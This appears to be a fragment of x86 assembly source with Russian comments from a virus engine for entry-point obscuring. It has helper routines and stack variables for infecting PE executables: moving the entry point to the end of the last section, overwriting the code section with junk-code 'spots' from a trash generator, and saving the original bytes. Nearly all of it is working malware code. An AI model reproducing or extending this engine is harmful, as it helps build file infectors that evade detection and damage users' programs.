;балансировка стэка, а также в ECX=0, EAX = адрес команды, которая выполняется сразу после вызова данной
|
||
;функции (FLEA_RESTSTACK);
|
||
;ЗАМЕТКИ:
|
||
; так как каждое пятно меняло регистр EBP и ESP (клало EBP в стэк, а также адрес, следующий за
|
||
; CALL'ом), то надо восстановить данные регистры, и соответственно стэк.
|
||
; ВАЖНО: вызывать эту функцию только тогда, когда в стэке вы уже не храните никакие данные.
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
FLEA_RESTSTACK:
|
||
pop eax
|
||
pop ecx
|
||
_reststack_:
|
||
add esp,4 ;pop edx
|
||
mov esp,ebp
|
||
pop ebp
|
||
loop _reststack_
|
||
jmp eax
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
;конец функи FLEA_RESTSTACK
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
|
||
|
||
|
||
|
||
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
;вспомогательная функция gen_mask
|
||
;генерация маски для мусора
|
||
;ВХОД (stdcall) (gen_mask(DWORD xmask)):
|
||
; xmask - начальная маска
|
||
;ВЫХОД:
|
||
; EAX - новая маска
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
gen_mask:
|
||
push ecx
|
||
mov ecx,dword ptr [esp+08]
|
||
push -1
|
||
call [ebx].rgen_addr
|
||
and ecx,eax
|
||
rol eax,10h
|
||
push eax
|
||
call [ebx].rgen_addr
|
||
and ecx,eax
|
||
xchg eax,ecx
|
||
pop ecx
|
||
ret 4
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
;конец функции gen_mask
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
|
||
|
||
|
||
|
||
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
;вспомогательная функция get_jmpaddr
|
||
;получение операнда для jmp'a, который будет прыгать на следующее пятно
|
||
;ВЫХОД:
|
||
;ЕАХ - искомое значение
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
get_jmpaddr:
|
||
push max_jmp
|
||
call [ebx].rgen_addr
|
||
cmp eax,min_jmp
|
||
jb get_jmpaddr
|
||
ret
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
;конец функции get_jmpaddr
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
|
||
|
||
|
||
|
||
|
||
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
;вспомогательная функция mix_addr
|
||
;перемешивание случайным образом данных в массиве
|
||
;заметки: в данном движке используется для перемешивания случаным образом адресов пятен
|
||
;ВХОД ( mix_adr(DWORD *addr_mas, DWORD num_elem) ):
|
||
;addr_mas - адрес буфера(массива), где находятся значения, которые следует перемешать
|
||
;num_elem - кол-во этих самых элементов
|
||
;ВЫХОД:
|
||
;перемешанные адреса в буфере(массиве)
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
mix_addr:
|
||
pushad ;
|
||
mov ecx,dword ptr [esp+28h] ;ECX - кол-во элементов
|
||
mov esi,dword ptr [esp+24h] ;ESI - адрес буфера, где находятся эти элементы
|
||
xor edx,edx
|
||
_nxtmix_:
|
||
push ecx
|
||
call [ebx].rgen_addr ;получаем СЧ [0..ECX-1]
|
||
push dword ptr [esi+edx*4] ;и перемешиваем
|
||
push dword ptr [esi+eax*4]
|
||
pop dword ptr [esi+edx*4]
|
||
pop dword ptr [esi+eax*4]
|
||
inc edx
|
||
cmp edx,ecx
|
||
jne _nxtmix_ ;если перемешали все элементы, то на выход
|
||
|
||
popad
|
||
ret 4*2
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
;конец функции mix_addr
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
;========================================================================================================
|
||
;вспомогательные переменные (находятся в стэке)
|
||
;========================================================================================================
|
||
imNTh equ dword ptr [ebp-04] ;указатель на IMAGE_NT_HEADERS
|
||
old_ep equ dword ptr [ebp-08] ;старая точка входа
|
||
base equ dword ptr [ebp-12] ;ImageBase
|
||
new_ep equ dword ptr [ebp-16] ;новая точка входа (в конец последней секции)
|
||
start_addr equ dword ptr [ebp-20] ;физический адрес точки входа (+ база мэппинга)
|
||
codesec equ dword ptr [ebp-24] ;указатель на кодовую секцию в табличке секций
|
||
size_codesec equ dword ptr [ebp-28] ;размер в кодовой секции, который реально можно использовать для записи пятен
|
||
max_codesec_addr equ dword ptr [ebp-32] ;максимальный допустимый адрес в кодовой секции, до которого можно записывать пятна
|
||
cur_codesec_addr equ dword ptr [ebp-36] ;текущий адрес в кодовой секции (используется для получения очередного адреса нового пятнышка)
|
||
num_spots equ dword ptr [ebp-40] ;кол-во реально записанных пятен в кодовую секцию
|
||
beg_rest_bytes equ dword ptr [ebp-44] ;адрес буфера, где хранится кол-во записанных пятен, размеры их, адреса, а также оригинальные байты кодовой секции
|
||
cur_rest_bytes equ dword ptr [ebp-48] ;текущий адрес в буфере (вспомогтальная переменная), куда сохраняем оригинальные байты кодовой секции etc
|
||
spot1 equ dword ptr [ebp-52] ;размер 1-ой порции мусора (этих первых порций мусора столько, сколько пятен будем записывать) (также вспомогательная переменная)
|
||
spot2 equ dword ptr [ebp-56] ;размер 2-ой порции мусора etc
|
||
tgen_struct equ dword ptr [ebp-60] ;адрес структуры TRASHGEN (для трэшгена xTG - или другого тэшгена)
|
||
xtmask1 equ dword ptr [ebp-64] ;новая маска1
|
||
xtmask2 equ dword ptr [ebp-68] ;новая маска2
|
||
|
||
restore_bytes db MAX_SPOTS*(uportion1+uportion2+7+10)+MAX_SPOTS*(4+4)+101 dup (00h);буфер, представляющий собой следующую структуру:
|
||
;num_spots db 1 ;кол-во записанных пятен в кодовой секции
|
||
;size_spot1 dd 1 ;размер очередного пятна
|
||
;addr_spot1 dd 1 ;адрес очередного пятнышка
|
||
;save_bytes1 db size_spot1 ;сохраненные оригинальные байты (вместо которых мы и записали очередное пятно)
|
||
;size_spot2 dd 1 ;etc
|
||
;addr_spot2 dd 1
|
||
;save_bytes2 db size_spot2
|
||
;...
|
||
;size_spot(num_spots) dd 1
|
||
;addr_spot(num_spots) dd 1
|
||
;save_bytes(num_spots) db size_spot(num_spots)
|
||
|
||
UEP_RESTBYTES_SIZE equ $ - restore_bytes ;размер буфера, что выше
|
||
;========================================================================================================
|
||
|